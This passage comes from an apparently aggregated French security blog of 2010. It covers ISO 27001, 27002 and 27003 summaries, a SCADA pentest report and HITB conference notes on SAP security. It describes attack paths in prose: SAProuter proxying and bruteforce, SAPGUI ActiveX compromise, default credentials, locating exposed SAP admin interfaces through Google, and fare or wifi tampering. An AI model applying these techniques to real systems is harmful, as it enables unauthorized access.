sécurité à l'aide d'un audit de conformité ex ISO 27002 et des résultats d'audits précédents Une fois l'état des lieux établi, il est possible de connaître le travail restant à réaliser Avant cela, il nous reste à savoir à quel niveau de risque est exposé la société et quel niveau de risque elle est prêt à accepter pour savoir jusqu'où nous devrons aller Clause 8 Réaliser une analyse de risque et rédiger un plan de traitement du risque Ces éléments sont exigés par la norme ISO 27001, dans la phase PLAN Pour mener à bien cette partie du projet, nous pourrons nous appuyer sur la norme ISO 27005 que nous verrons dans l'épisode 5 de notre étude Voici les principales sous étapes de notre projet pour cette 8e clause Réaliser une analyse de risque Décrire la méthodologie et fournir les résultats Sélectionner les objectifs de contrôle et les contrôles eux-mêmes rédaction de la déclaration d'applicabilité et du plan de traitement des risques, cf Annexe A de la norme ISO 27001 Obtenir l'autorisation de la direction pour l'implémentation et la maintenance du SMSI doit contenir le niveau d'acceptation pour les risques résiduels Clause 9 Concevoir le SMSI C'est la dernière étape pour que notre SMSI soit prêt et de pouvoir ainsi rentrer dans la phase DO de notre modèle PDCA 4 sous-étapes sont à prendre en compte cette fois Concevoir l'organisation sécurité finale rôles et responsabilités impliqués, gestion de la documentation du SMSI, Politique de sécurité Concevoir les opérations IT et physiques mise en place et contrôles des mesures de sécurité en définissant chaque tâche et en les assignant à un responsable Concevoir les tâches spécifiques à un SMSI gestion du SMSI comme la planification de la revue de direction, la formation et la sensibilisation des utilisateurs, enregistrements en vue du contrôle et de l'amélioration du SMSI Produire le planning final du projet de SMSI décrire l'ensemble des tâches et des méthodes associées en attribuant un responsable 1ère sous étape de chaque tâche identifiées 2e et 3e sous-étapes Voilà, nous sommes prêts à rendre le SMSI opérationnel Nous savons qui, quoi, comment et quand réaliser les actions nécessaires à la mise en place, le maintien et l'amélioration continue du SMSI Pour être plus précis La norme fournit dans ses annexes des informations utiles pour préciser les sujets abordés dans le corps de la norme et surtout aider l'implémenteur Voici la liste des annexes et le but de chacune Annexe A check-list des tâches à réaliser avec la correspondances ISO 27003 ISO 27001 Annexe B les rôles et responsabilités de la sécurité de l'information pour aider à l'organisation Annexe C Informations concernant l'audit interne rappel clause 6 de l'ISO 27001 Annexe D Structure des politiques hiérarchie des politiques et des procédures et exemple de politique Annexe E Surveillance du SMSI mise en place et exploitation d'indicateurs, cf ISO 27004 http://www.secuobs.com/revue/news/276149.shtmlhttp://www.secuobs.com/revue/news/276149.shtml Secuobs.com : 2010-12-30 15:07:01 - MISSION Security - Après avoir vu la norme ISO 27001, je vous propose un aperçu de la norme ISO 27002 Elles sont toutes les deux liées, même si, cette dernière n'est pas obligatoire Cependant, elle représente une aide précieuse à l'implémentation d'un SMSI Ce qu'est la norme ISO 27002 Il s'agit d'un code de bonnes pratiques contenant les mesures de sécurité qui peuvent aider à respecter les exigences de la norme ISO 27001 Les chapitres les plus importants sont les chapitres 5 à 15 Chacun aborde un thème de la sécurité de l'information qui sont présentés dans le schéma ci-dessous En réalité, ils sont généralement liés entre eux et il est souvent difficile de les traiter sans s'appuyer sur d'autres mais l'ensemble de la norme présente ainsi des sujets complémentaires entre eux et complets dans sa globalité Liens entre les normes ISO 27001 et ISO 27002 Tout d'abord, il faut savoir que les thèmes de la norme ISO 27002 sont déjà repris dans l'annexe A de la première norme que nous avons étudiée Cette annexe représente donc le lien entre les deux normes Ensuite, certaines clauses de la normes ISO 27001 correspondent aux thèmes de la norme ISO 27002 Pour être plus précis, prenons l'exemple suivant la norme ISO 27001 demande d' identifier rapidement les failles et les incidents de sécurité clause 423a 2 L'implémenteur du SMSI pourra s'appuyer sur le thème n 13 de la norme ISO 27002 ou le point A13 de l'ISO 27001 qui traite justement de la gestion de la sécurité En fait, cela va plus loin que ça Rappelons que la norme ISO 27001 demande à ce que l'on crée une déclaration d'applicabilité Dda ou SoA en anglais Dans cette déclaration, l'implémenteur doit reprendre l'ensemble de l'annexe A et donc finalement l'ensemble des thèmes de la normes ISO 27002 Là, il doit dire quelles sont les mesures de sécurité qu'il souhaite mettre en place ou pas Pour celles qu'il décide de ne pas considérer, il devra justifier une telle exclusion La norme ISO 27002 apparaît alors comme quasiment indispensable pour aider l'implémenteur Exemple Pour bien comprendre, voici un extrait de l'annexe A de la norme ISO 27001 On y trouve le thème, un objectif et les mesures associées Dans la norme ISO 27002, nous retrouvons le même thème mais avec des précisions, ou plutôt des préconisation de mise en œuvre, pour appliquer les mesures de sécurité De nouveau, en voici un extrait 511 Document de politique de sécurité de l'information Mesure Il convient soit approuvé par la direction, puis publié et diffusé Préconisations de mise en œuvre il convient a une définition de la sécurité de l'information, les objectifs généraux recherchés et le domaine d'application retenu, ainsi que l'importance de la sécurité en tant que mécanisme nécessaire au partage de l'information b Conclusion Pour résumer, la norme ISO 27002 est d'une grande aide pour l'implémentation des mesures de sécurité - même si elle n'a aucun caractère obligatoire - à travers certaines clauses de la norme ISO 27001 et pour la déclaration d'applicabilité Cependant, elle ne couvre pas tout, loin de là Par exemple, l'implémentation globale du SMSI sera couverte par la norme ISO 27003 que nous verrons dans le prochain billet http://www.secuobs.com/revue/news/274899.shtmlhttp://www.secuobs.com/revue/news/274899.shtml Secuobs.com : 2010-12-28 13:40:04 - MISSION Security - Des normes internationales ont été rédigées concernant la sécurité des systèmes d'information Elles sont de plus en plus utilisées et elles servent notamment de référentiel pour les entreprises Leur étude nous apporte un nouveau point de vue sur la SSI qu'il est important de connaître Il n'est pas toujours facile de prendre le temps de les lire et les étudier alors je vous propose un aperçu de chacune d'entre elles Ce qu'on va voir La norme centrale est la norme ISO 27001 C'est elle qui peut donner lieu à une certification et c'est d'ailleurs l'objet de notre premier épisode Cependant, nous allons vite nous apercevoir qu'elle est liée à d'autres normes de la SSI que le schéma ci-dessous représente D'où la nécessité des autres épisodes Ce qu'est la norme 27001 Tout d'abord, il s'agit d'une norme d'exigences C'est à dire que pour obtenir la certification en question, il est nécessaire que l'entreprise réponde à ces exigences Plus précisément, la norme est découpée en 8 chapitres ou clauses Seules les clauses 4 à 8 sont vraiment importantes et sont à tenir compte pour la mise en place d'un SMSI ou Système de Management de la Sécurité de l'Information et obtenir la certification Nous reviendrons sur ces clauses juste après Avant, il nous faut tenir compte d'une notion essentielle pour le SMSI la modèle PDCA Plan Do Check Act Réussir l'implémentation de son SMSI revient à respecter ce modèle scrupuleusement Il ne s'agira donc pas uniquement de mettre en place une gestion d'incidents par exemple mais aussi de documenter le sujet, écrire les procédure associées, en contrôler les résultats et l'efficacité et corriger les défauts relevés Le modèle PDCA Il est donc important de se focaliser sur ce modèle considéré comme une roue vertueuse, utilisée en mode fractale, c'est à dire pour chaque action La norme ne demande pas finalement d'avoir un niveau de sécurité élevé mais de faire fonctionner un SMSI en respectant les 4 phases du PDCA tel que Plan définition de la politique du SMSI et du périmètre de celui-ci, appréciation du risque, traitement du risque, mesures de sécurité sélectionné déclaration d'applicabilité ou dda Do plan de traitement des risques, déployer des mesures de sécurité, gérer le SMSI au quotidien, détection rapide aux incidents Check audits internes, contrôles internes, revues Act actions correctives, actions préventives, actions d'amélioration Les clauses de la normes Nous présentons ici les 5 clauses qu'il est important de connaître Vous remarquerez certainement un parallélisme avec le modèle présenté ci-dessus Ce n'est pas un hasard Clause 4 SMSI Cette clause fournit des indications importantes pour la mise en place du SMSI Notamment, les exigences regroupées dans les articles 421, 422, 423 et 424 correspondent respectivement au Plan, Do, Check et Act Malgré l'importance de cette clause, elle ne fait que 5 pages, nous devrons donc nous appuyer sur d'autres normes pour nous aider à obtenir un SMSI conforme à la norme cf premier schéma Clause 5 cette clause souligne la nécessite de l'implication de la direction dans le projet de déploiement du SMSI En effet, il n'est pas envisageable qu'un SMSI puisse fonctionner correctement sans l'approbation et l'appui de la direction Clause 6 elle est relative aux audits internes Il est demandé à ce que le SMSI soit contrôlé de manière régulière check selon un programme d'audit précis Clause 7 elle concerne la revue de direction du SMSI A travers des comité de direction et de pilotage de la sécurité, le SMSI devra être revu régulièrement, notamment en s'appuyant sur les résultats des audits internes clause précédente mais pas seulement Par exemple, les différents enregistrements et les indicateurs mis en place pourront servir aux décisions de la direction Clause 8 Cette clause aborde l'amélioration du SMSI Act Il s'agit de mettre en place les actions correctives et préventives relevées lors des actions de contrôles et approuvées afin d'améliorer le SMSI Pour aller plus loin En premier lieu, je vous proposerai dès que possible un aperçu des autres normes dans ce blog Ensuite, la meilleure façon d'appréhender un SMSI est de se documenter ou de suivre une formation sur le sujet En termes de littératures, LA référence est le livre d'Alexandre Fernandez-Toro que je trouve très bien fait et que je recommande sans modération à qui veut en savoir plus http://www.secuobs.com/revue/news/274473.shtmlhttp://www.secuobs.com/revue/news/274473.shtml Secuobs.com : 2010-10-24 23:20:34 - MISSION Security - J'ai eu l'occasion dernièrement de travailler sur des environnements SCADA ça change Mais en quoi Comment aborder ces bêtes là Quelles sont les failles les plus récurrentes Et déjà, est-ce que c'est sécurisé Petit point sur mes premiers retours d'expérience Ce qu'on en dit sur le Net On trouve des articles sur le Net depuis quelques années maintenant mais plutôt sur des sites et blogs outre atlantiques et peu en France Pourtant, il existe des acteurs majeurs dans notre pays Ayant eu l'occasion de travailler sur le sujet, on se rend compte que le pentest d'un SCADA ne s'aborde pas de la même manière qu'une application WEB classique par exemple Pourquoi Parce que dans le cas d'un SCADA, c'est la disponibilité qui est requis en premier lieu et non la confidentialité de nos chères applications bancaires ou commerciales Une fois que nous avons compris cela, nous comprenons mieux les failles trouvées car on souhaite avant tout que ça fonctionne et que ce soit performant d'où l'attaquant a toutes les chances de se retrouver face à des systèmes non patchés depuis des mois des années des accès sans mot de passe des fichiers texte ou autre contenant les identifiants des communications non chiffrées etc Bref, il semblerait que le pentest d'un SCADA consiste tout simplement à sortir sa panoplie du hacker de base, c'est à dire MBSA ou autre scanner nmap wireshark le moteur de recherche du système d'exploitation et arme ultime, la touche entrée une fois sur le champ password etc Et ce qui se passe dans la vraie vie Bon, soyons honnête, je n'ai pas eu l'opportunité de faire 50000 tests sur les environnements SCADA mais voilà ce que je peux dire de ce que j'ai pu voir Avant, pour cadrer le sujet, il faut savoir que les applications étaient installées sur des serveurs Windows et qu'il faut donc ajouter à sa méthodologie celle d'un test d'une application lourde Alors quand les attaques précédemment citées ne fonctionnent pas, nous ajoutons à notre panoplie des décompileurs et des debuggers je m'arrêterais là, je ne suis pas un pure reverser Le premier pentest s'est passé comme on le racontait sur Internet c'est à dire qu'il n'y avait pas de sécu Enfin, j'exagère, il y avait un mot de passe Mais il était teeeeeeeeeeeeellement compliqué, que j'ai eu besoin d'aide Alors j'ai regardé l'aide où il était écrit The default user name is guest The default password is 0 Alors si maintenant on nous donne la solution, qu'allons nous devenir Bon, ça c'est fait En même temps, vous allez me dire, ça ne concernait que le mot de passe d'un compte invité donc c'est pas très grave sauf que En fait, on avait octroyé les privilèges les plus forts à ce compte Autre point rencontré, un serveur où il manquait une soixantaine de patches Windows Quand on parle de virus et de vers, je confirme donc que les SCADAs sont eux aussi concernés Et les dégâts, prometteurs Ce n'est cependant pas toujours si simple et j'ai effectivement rencontré un cas où les mots de passe étaient forts, les flux chiffrés et les mots de passe étaient sécurisés de manière sécurisée Donc, la sécurité sur un SCADA, c'est envisageable Sauf que un décompileur spécifique était présent sur le serveur et il était donc possible de se créer un compte et de se donner les privilèges les plus élevés au passage BINGO Des outils de tous les jours, pour des tests SCADAS Ce n'est pas forcément connu mais des outils que nous utilisons tous les jours prennent en compte les SCADAS Et je ne peux que citer le célèbre NESSUS qui propose une famille de plugins nommé SCADA avec à ce jour 42 plugins sur le sujet Metasploit propose lui aussi un exploit tout fait pour certains SCADAs Bref, les moyens existent pour contrôler la sécurité et inversement pour la contourner d'un SCADA mais déjà que nous devons nous battre parfois pour expliquer les bienfaits de la sécurité, ici, on craint que le test en soit provoque déjà une perturbation et nous devons reconnaître que l'impact financier est ici direct Mais que ce passera-t-il le jour où un réseau SCADA sera infecté Qu'un réseau SCADA sera pris pour cible et même pas forcément par un attaquant aguerri Alors que nous parlons de guerre numérique et que les énergies que contrôlent les SCADAs représentent le point névralgique des guerres, le risque est bien réel et important On voit déjà ce que peut provoquer une pénurie d'énergie tel que le pétrole pendant quelques jours http://www.secuobs.com/revue/news/259553.shtmlhttp://www.secuobs.com/revue/news/259553.shtml Secuobs.com : 2010-07-03 00:09:32 - MISSION Security - La première journée était riche en vulnérabilités et exploitations Après avoir visité un peu Amsterdam non non, je ne faisais pas partie du groupe parti pour la zone rouge avec notamment la visite de la maison d'Anne Frank tout de suite, c'est moins sexy Je n'ai pas assisté au deuxième keynote mais voici la suite des conférences que j'ai suivi Conf 1 - SAProuter, An Internet Window to your SAP platform - Mariano Numez di Croce Fidèle à mon aventure sur SAP, voici la dernière conférence sur le sujet Cette conférence se concentre sur le composant SAP Router et était très pratique puisqu'après une présentation de SAP, une démonstration de l'attaque par étape nous a été présentée Pour ceux qui ne connaitrait pas bien SAP, je vous renvoie vers le résumé de la formation qui a eu lieu les deux premiers jours du HITB résumé 1 et résumé 2 Il faut rappeler avant tout que le SAP Router a pour rôle de filtrer les requêtes couches 3 et 4 , de tracer les connexions, d'appliquer une sécurité sur les flux avec une clé partagée et de sécuriser les flux avec SNC Pour le filtrage des requêtes, une table permet de définir les flux autorisés, interdits et limités ie, seuls les flux ayant pour protocole SAP sont autorisés Première faille potentielle les administrateurs, dans la vraie-vie, finissent souvent leur configuration par un j'autorise tout En effet, sur la base d'une liste blanche, les administrateurs n'ont pas toujours le courage d'entrer tous les accès et sachant qu'il faut que ça marche à tout prix La démonstration a été réalisée à l'aide de l'outil BIZPLOIT dont le speaker est le principal développeur L'attaque se déroule en plusieurs étapes phase de découverte on recherche le port utilisé par le SAP Router Par défaut, le port TCP 3299 mais nous vérifions à l'aide du module discover phase de découverte interne le plugins saprouter spy nous permet de connaître les ports ouverts sur la machine comme si nous y étions Intéressant l'attaque consiste a utilisé le SAP Router en tant que proxy Nous trouverons cette fois des infos sur la solution SAP ex version Puis, on utilise le plugin de bruteforce pour trouver des comptes valides eg mots de passe par défaut ou triviaux On utilisera l'exploit saprouterAgent pour obtenir une connexion sur le SAP Router Enfin, c'est grâce à l'outil tsocks que notre trafic sera redirigé vers le proxy mis en place et que nous pourrons attaquer le système SAP comme de l'intérieur Une démonstration convaincante qui montrer les risques d'une mauvaise sécurisation de sa plateforme SAP Les solutions de correction existent cependant l'application des patches pas toujours évidente malheureusement l'application de la sécurité sur les connexions nombre de connexion maximum, chiffrement, etc la politique de mot de passe pour les clients la généralisation des messages erreurs pour éviter l'affichage d'information technique Conf 2 - Firefox 4 and Opportunities for security research - Chris HOFMANN Je ne m'étendrais pas sur cette conf qui n'avait pas tout l'intérêt attendu L'idée est de lancer un Bug Bounty Program plus précisément, il s'agit de récompenser les personnes qui découvrent des bugs sur la prochaine version de Firefox Firefox 4 donc Cela existe déjà en réalité mais l'accent est mis sur le sujet pour motiver les chercheurs potentiels en leur octroyant une prime plus importante 3000 Cependant, le bug doit remplir plusieurs conditions comme conduire à un exploit distant Problème les marchés noirs offriront toujours plus Néanmoins, souhaiteriez vous fournir des armes à des black hats, même pour de l'argent Finalement, Mozilla estime que s'il ne paye pas pour la recherche des bugs maintenant, ils paieront plus cher d'une manière ou une autre la découverte des bugs Ceci est vrai pour tout logiciel mais rarement considéré Dans le même temps, Mozilla a pour objectif d'assurer la sécurité de ses utilisateurs De plus, la fondation en question veut se donner les moyens de faire face aux bugs en assumant les bugs potentiels en motivant les chercheurs à trouver ces bugs en les corrigeant rapidement Il s'agit d'un réel défi car Firefox 4 bénéficiera de nouvelles fonctionnalité tels qu'un parser HTML 5 qui pourront aussi représenter de nouveaux vecteurs d'attaque Conf 3 - XProbe-NG, Building Efficient Network Discovery Tools - Fyodor YAROCHKIN Il existe déjà beaucoup d'outil de découverte Alors pourquoi un nouveau Celui proposé par Fyodor, déjà existant Xprobe , est de tenir compte de la vraie-vie, des attaques qui ont lieu sur le Net Ce tool de fingerpringting a aussi pour but d'étendre son action à la couche applicative pour combiner la collecte d'information aux couches réseaux et applicatives Enfin, cette nouvelle version a pour vocation d'enrichir la version précédente à l'aide de scripts et de données échangées Plusieurs défis sont alors engagés pour réussir ce pari Notamment, il faut limiter le temps de traitement des couches réseaux, la couche applicative étant gourmande en interprétation être suffisamment rapide pour analyser les flux en temps réel ou presque , ce qui pourra se faire avec un nouveau moteur L'outil, écrit en Python, utilise le principe de scoring et de prioroté pour traiter les informations les plus importantes en premier lieu Ensuite, une autre solution consiste à ne lancer les modules d'analyse que quand ils sont nécessaires Au final, XProbe-NG va réaliser différents tests applicatifs comme analyser les séparateurs de répertoire, les fichiers spéciaux dans les répertoires, la sensibilité de la casse, etc pour différencier un Linux d'un Windows D'autres améliorations sont prévues pour permettre à cet outil de se démarquer Une première version sera disponible la semaine prochaine à cette adresse Conf 4 - Top 10 Web 20 Attacks and exploits - Shreeraj SHAH Lors de cette conférence, le speaker a pris en compte le Top 10 des vulnérabilités liées au WEB 20 en se basant sur l'OWASP Voici le classement 1 DOM Based XSS Ajax 2 SQL Injections SOAP XML 3 Blind SQL over JSON AMF 4 XPATH Injection 5 Business logic bypass 6 Decompilation Attack ex SWF 7 WSDL 8 XSS with Flash 9 CSRF with XML 10 Widget Marshup Une description et une démonstration a été réalisée pour chacune de ces attaques Tout expliquer demanderait donc un billet à lui tout seul au moins mais cette présentation intéressante appelle notamment à la veille que nous devons réaliser en tant que pentesters sur ces nouvelles attaques En effet, de nombreux sites sont touchées par ce type de vulnérabilités encore mal connues des développeurs Conf 5 - The travelling Hacksmith 2009 2010 - Saumil SHAH Une présentation particulière qui ne manquait pas d'intérêt et qui en a fait rire plus d'un il ne devait pas y avoir d'opérateur wifi ni d'agent d'opérateur de voyage dans la salle Je m'explique Le speaker nous raconte qu'il voyage beaucoup et que tout se paye et souvent cher comme les connexions WiFi dans les chambres d'hôtel A travers les différents voyages et hôtels visités, Saumil nous montre comment il a réussit à obtenir un accès Internet gratuit ou moins cher De la modification du numéro de chambre dans la requête au contrôle de la passerelle en passant par les injections SQL, aucun accès ne lui a résisté Ensuite, il s'attaque aux billets d'avion dans le but d'être surclassé Il réussit à plusieurs reprise en modifiant son numéro de place dans le choix des places au check-in sur Internet Enfin, sur un site de réservation d'hôtel que je ne dois pas citer et que je ne ferais donc pas, il est possible de réserver et d'annuler sans payer de frais sauf que l'annulation se fait sur le jour précédent de l'arrivée A voir si ça marche toujours Et c'est la fin de cette conférence Ces 4 jours auront passé bien vite mais il est temps de sortir de Hackerland et de retrouver son chez-soi enfin, si le Thalys arrive, déjà 30 minutes de retard http://www.secuobs.com/revue/news/237289.shtmlhttp://www.secuobs.com/revue/news/237289.shtml Secuobs.com : 2010-07-02 12:15:40 - MISSION Security - Un petit retour sur cette première journée de conférence au HITB d'Amsterdam où l'ambiance est très bonne, l'hôtel cool sauf pour y dormir apparemment et les HITB girls sont sociables D'ailleurs, à quand les SSTIC girls Keynotes - Dr Anton CHUVAKIN - Security Chasm Cette conférence me rappelle un talk donné par Nicolas RUFF l'année dernière au SSTIC En effet, une idée dans tout ça est de montrer l'échec de la sécurité depuis les années 90 Tout d'abord, on a traversé plusieurs période de la sécurité en déplaçant le problème finalement à chaque fois Tout d'abord, la sécurité était portée sur les ordinateurs, puis sur les réseaux, puis sur la prévention, puis sur la conformité et les normes, etc En parallèle, nous avons voulu couvrir les risques locaux dans un premier temps puis les menaces extérieures avec le pare-feu à tout va puis la détection des attaques mode des IDS IPS puis, plus récemment, le cybercrime et pour en arriver maintenant à la période des clouds Le problème, selon le conférencier, le manque de cohérence dans tout ça Il y a d'une part ceux qui conseille de faire de la sécu et fournissent les recommandations alors qu'ils ne touchent pas au matériel l'auditeur ne maitrise n'a jamais administré d'IPS qu'il va conseiller de configurer de telle ou telle manière par exemple pour mieux protéger le réseau et d'autre part, nous avons les personnes qui appliquent la sécurité parce qu'il le faut bien ou parce qu'on leur demande, pas par conscience des risques Alors pour résoudre cela, plusieurs lignes de conduite nous sont fournis A titre d'exemple, les normes peuvent être bénéfiques mais seulement pour mettre encadrer la mise en place de la sécurité dans un SI, pas pour avoir l'étiquette compliant notamment En fait, selon l'orateur, si une entreprise n'est pas en mesure d'assurer sa sécurité en 2020, elle mourra car un attaquant aura d'ici là toutes les armes lui permettant de mettre fin au business d'une entreprise Conf 1 - John 'Kanen' Flowers - Introducing Kane Box L'orateur part du principe que la sécurité ne fonctionne pas pour diverses raisons elle coûte chère, les outils sont souvent contournés et cassés et les façons de penser et de faire de la sécurité n'ont pas évoluées depuis des années A l'inverse, les outils de hacking sont souvent libres et les compétences des attaquants ne cessent d'évoluer Et c'est là que l'orateur à la bonne idée proposer une solution de sécurité qui n'est pas seulement un nouveau logiciel mais un boitier clé en main Pour avoir travailler dans la sécurité, vous allez me dire que ça existe déjà de nombreux éditeurs en proposent oui mais à quel prix A 475 vous en connaissez combien En effet, c'est le prix de base d'un boitier KaneBox Et même, pour ceux qui ont l'âme d'un bricoleur, le code est libre et il ne vous reste plus qu'à monter le boitier L'auteur n'était donc pas là pour vendre sa marchandise mais pour fournir une solution complète et tout à fait abordable ce qui résout les problèmes actuelles pour implémenter la sécurité Et que permet de faire cette solution C'est une virtual box rassemble les caractéristiques suivantes un module d'exploitation sniffer analyseur de paquets crackers de mots de passe scripts d'exploitation un module de détection pour la détection d'attaque réseau un pare-feu permettant d'inspecter les paquets et de les bloquer un routeur pouvant bénéficier de règles de filtrage un mode host-based pour collaborer avec les anti-virus et les pare-feu des machines L'idée est bonne et il serait intéressant de voir ce que cela pourrait donner en pratique En attendant, je vous invite à voir la page du produit pour plus d'info Conf 2 - Alexander POLYAKOV - Attacking SAP Users with SAPSPLOIT Je continue mon aventure sur la sécurité de SAP cf traning1 et training2 Ici, l'orateur part du principe que le système SAP est correctement sécurisé et que les vecteurs d'attaque sur le système OS, DB, appli, services additionnels ne sont pas exploitables depuis notre point d'attaque Ce qui, pour une version récente de la plateforme serait envisageable Du moins, admettons Alors, le vecteur d'attaque sera l'utilisateur En effet, c'est lui qui aura les permissions appropriées pour ce connecter au serveur SAP et une fois son poste de travail compromis, nous aurons la possibilité de nous attaquer au cœur de notre cible De plus, les utilisateurs sont nombreux donc plus de chance de succès L'utilisateur se connecte au serveur SAP via le client SAPGUI Premier point les flux ne sont pas toujours chiffrés et seulement compressé au mieux XOR avec une clé connue, base64, Deuxième point SAPGUI est vulnérable à un certain nombre d'attaques a SAPGUI utilise des activeX et alors, les vulnérabilités concernant ce dernier sont aussi valables pour notre cible ex des buffer overflows sont réalisables Aussi, les activeX permettent des intéractions avec les fichiers enregistrés sur le serveur et si on changeait la configuration du serveur pour supprimer des protections Enfin, il est possible d'exécuter des commandes système ou de déployer un cheval de Troyes b Une fois le client compromis, il est possible de retrouver des données intéressantes sur la machine de la victime Par défaut, nous les retrouverons dans le répertoire c windows sap c D'autres attaques souvent prometteuses peuvent être menées sur le client XSS stored XSS notamment dans une fonction d'upload , phishing, XSRF, etc d Il est même possible d'obtenir un shell en uploadant une page HTML dans une fonction d'upload du client Afin d'empêcher ce type d'attaque, voici quelques recommandations fournies par Alexander Effectuer les mises à jour nécessaires les dernières versions sont bien mieux protégées Tester la force des mots de passe des clients et appliquer un seuil d'échec pour la tentative de connexion Quelques configurations au niveau de la clé de registre permettent de mieux sécuriser le client Attention, à minuit, une option permet de délocker tous les utilisateurs A supprimer Des infos supplémentaires peuvent être trouvées ici Il me reste à vous parler des confs d'hier après midi et d'aujourd'hui La suite, ce soir http://www.secuobs.com/revue/news/237134.shtmlhttp://www.secuobs.com/revue/news/237134.shtml Secuobs.com : 2010-07-01 01:54:23 - MISSION Security - Deuxième et dernier jour de training sur la sécurité de SAP Beaucoup de choses mais ça reste tout à fait intéressant On continue notre tour d'horizon La sécurité de l'authentification Sur les systèmes SAP, il est possible de se connecter de plusieurs manières différentes En particulier, il est possible de se connecter via un login mot de passe classique SNC Secure Nework Communication permet de se connecter à l'aide d'une librairie extérieure ex NTLM via un certificat par ticket dans le cadre d'une authent' par SSO notamment PAS Pluggable Authentication Service utilisation d'une autre base d'authent' ex LDAP Bon, on conviendra que ce n'est pas le choix qui manquent Après, ils ne sont pas tous égaux en termes de fiabilité La sécurité des utilisateurs Tout d'abord, il existe plusieurs types d'utilisateur Le type attribué dépendra de la connexion et du niveau de sécurité attendu Par exemple, le type Dialog permet un accès direct au système SAP Ce qui n'est pas le cas pour le type system mais ce dernier impose un mot de passe qui n'expire pas Une fois n'est pas coutume, il existe pas mal de comptes par défaut sur un système SAP Évidemment, il est recommandé de verrouiller les comptes en question ou du moins, d'en changer les mots de passe Le compte privilégié est SAP Tiens, il me semble qu'on avait vu que ce compte avait un mot de passe par défaut trivial De plus, ce compte ne peut pas être supprimé Il existe cependant des moyens de sécuriser de tels accès La politique de mots de passe L'encodage des mots de passe a évolué au fur et à mesure des versions de SAP Aujourd'hui, les plus complexes sont hashés avec SHA1 et bénéficient d'un sel aléatoire Les précédents sont cassables avec john patché Ensuite, tous les paramètres classiques et attendus existent blocage du compte, historique des mots de passe, expiration, etc Les autorisations Un utilisateur loggé ne peut pas toujours faire tout ce qu'il veut il est soumis à des autorisations Des contrôles sont donc effectués avant qu'un utilisateur ne puissent réaliser une transaction au sens SAP par exemple Un utilisateur ayant le profile SAP_ALL est le plus intéressant pour un attaquant en effet, il permet de réaliser toute action La sécurité des communications Un attaquant peut s'amuser à interagir avec les protocoles utilisés par SAP pour obtenir des informations sur le système ou exploiter des vulnérabilités il s'agit notamment de RFC permet de lancer des fonctions sur les serveurs distants Commandes externes une transaction de SAP permet d'interpréter des commandes système sur le système d'exploitation La sécurité des environnements Dans SAP, nous retrouvons trois instances primaires environnement de développement DEV environnement de qualification QAS environnement de production PRD Quand bien même il s'agit d'instances distinctes, elles sont reliées à une même base common transport directory Il est possible de cloissoner les droits entre ces environnements et au sein de la base Ainsi, un développeur ne pourra pas porter atteinte à l'intégrité des données de production par exemple La configuration se fait via une transaction de SAP La sécurité du langage de programmation ABAP Un module mal codé pourra permettre de lancer des attaques critiques En l'occurrence, elles peuvent permettre de contourner les restrictions de droits appliqués à un utilisateur Ce langage peut aussi permettre de lancer des commandes SQL et ainsi récupérer des données contournement des contrôles d'autorisation voir plus haut Quelques portes cachées vers le graal Il existe plusieurs points d'entrée qu'un attaquant se fera un plaisir d'utiliser pour atteindre sa cible Il s'agit de service qui, une fois activé, offre une interface Web qui sera plus ou moins bien protégée qui a dit que ça pourrait être accessible depuis Internet Il pourra notamment compromettre l'application via les interfaces d'administration souvent mal protégée d'après quelques recherches sur google http serveur port chemin_vers_WGate service variable http serveur scripts wgate webgui client 000 http serveur port chemin_vers_WGate admin Conclusion Voilà, c'est terminé pour la formation Je n'ai pas été exhaustif mais je pense avoir fourni un bon aperçu Ici, nous avons surtout vu les différents points de sécurité à aborder pour la sécurisation d'un système SAP ou les vecteurs d'attaque pour un attaquant Nous ne serons pas sans reparler de SAP car deux confs sont prévus sur le sujet Aussi, j'espère trouver l'occasion de vous faire un retour d'expérience sur un audit afin d'illustrer cette théorie par la pratique http://www.secuobs.com/revue/news/236677.shtmlhttp://www.secuobs.com/revue/news/236677.shtml Secuobs.com : 2010-06-30 01:28:18 - MISSION Security - Après le SSTIC, on enchaîne avec le HITB à Amsterdam et cette fois, je vais essayer de tenir le rythme pendant les quatre jours pour mettre à jour mon blog quotidiennement Inscrit à la formation SAP Security, je vais en profiter pour vous donner un aperçu ces deux premiers jours Plus tard, il me restera à vous donner un exemple pratique A quoi ressemble la bête SAP, c'est un ERP utilisé par pas mal d'entreprise car en gros, ça permet de gérer sa production de bout en bout Par contre, c'est lourd à mettre en place et la sécurité est rarement la priorité des intégrateurs Rien de nouveau, c'est souvent comme ça Mais ça veut juste dire aussi qu'il y a moyen de s'amuser Alors plutôt que de vous faire un cours sur SAP d'ailleurs, je ne suis pas expert , je vous donne les éléments principaux à prendre en compte pour sa sécurité Le cœur est représenté par le système SAP contenant notamment la base de données ex Oracle Dans cette base de données, se trouvent généralement des choses très intéressantes p Pour se connecter à la plateforme SAP, on bind avec des clients, à considérer en tant que passerelle en fait Concrètement, on peut utiliser comme interface de connexion SAPGUI et s'attaquer à ces clients Vous allez chercher cette outil et vous allez vous rendre compte qu'il est payant Et comme il ne vous viendrait pas à l'idée d'utiliser une version crackée, il existe en fait une version JAVA gratuite ici Il est possible de se connecter depuis l'extérieur au clients SAP Dans ce cas, une ou deux couches s'interposent le SAP Router et le Webdispather Nous reparlerons de ces deux éléments plus loin SAP, c'est quand même bien complexe et quand ça marche, c'est déjà bien C'est pour ça que la sécurité est souvent laissée de côté Malgré tout cela, je ne voudrais pas que vous soyez perdu Je penserai donc à ajouter un schéma La sécurité de SAP depuis l'externe généralement Comme promis, nous allons parler de deux composants clés qui permettent d'apporter la sécurité à l'architecture SAP Ces composants sont utilisés pour les connexions venant de réseaux qui ne sont pas de confiance généralement ex Internet Le SAP Router Pour commencer, le SAP Router On le retrouvera généralement sur le port TCP 3219 Il permet notamment de filtrer les IPs autorisées à communiquer avec les clients SAP 3 niveaux de permission sont possibles D pour deny P pour permit et S pour ne permettre que les flux SAP ce qui est contournable Par défaut, ce composant fonctionne par liste blanche, ce qui est un bon point sauf si l'administrateur finit par mettre une règle équivalente à permit any any parce qu'il n'a pas le courage d'écrire toutes les autorisations et encore une fois, il faut que ça marche avant tout Pour chaque règle, nous pourrons associer à l'IP ou plage d'adresse IP autorisée un mot de passe clé partagée Pour être plus clair, voici un exemple de fichier de règles S 1921681 SAPROUTER motdepasse D Autre lacune du SAP Router, ces mots de passe sont visibles en clair dans le fichier de configuration Dans le cas où le SAP router est bien configuré, il faudrait prendre la main sur la machine d'un utilisateur ayant la bonne adresse IP Ensuite, comment obtenir un compte C'est en clair dans les profiles de l'utilisateur Le 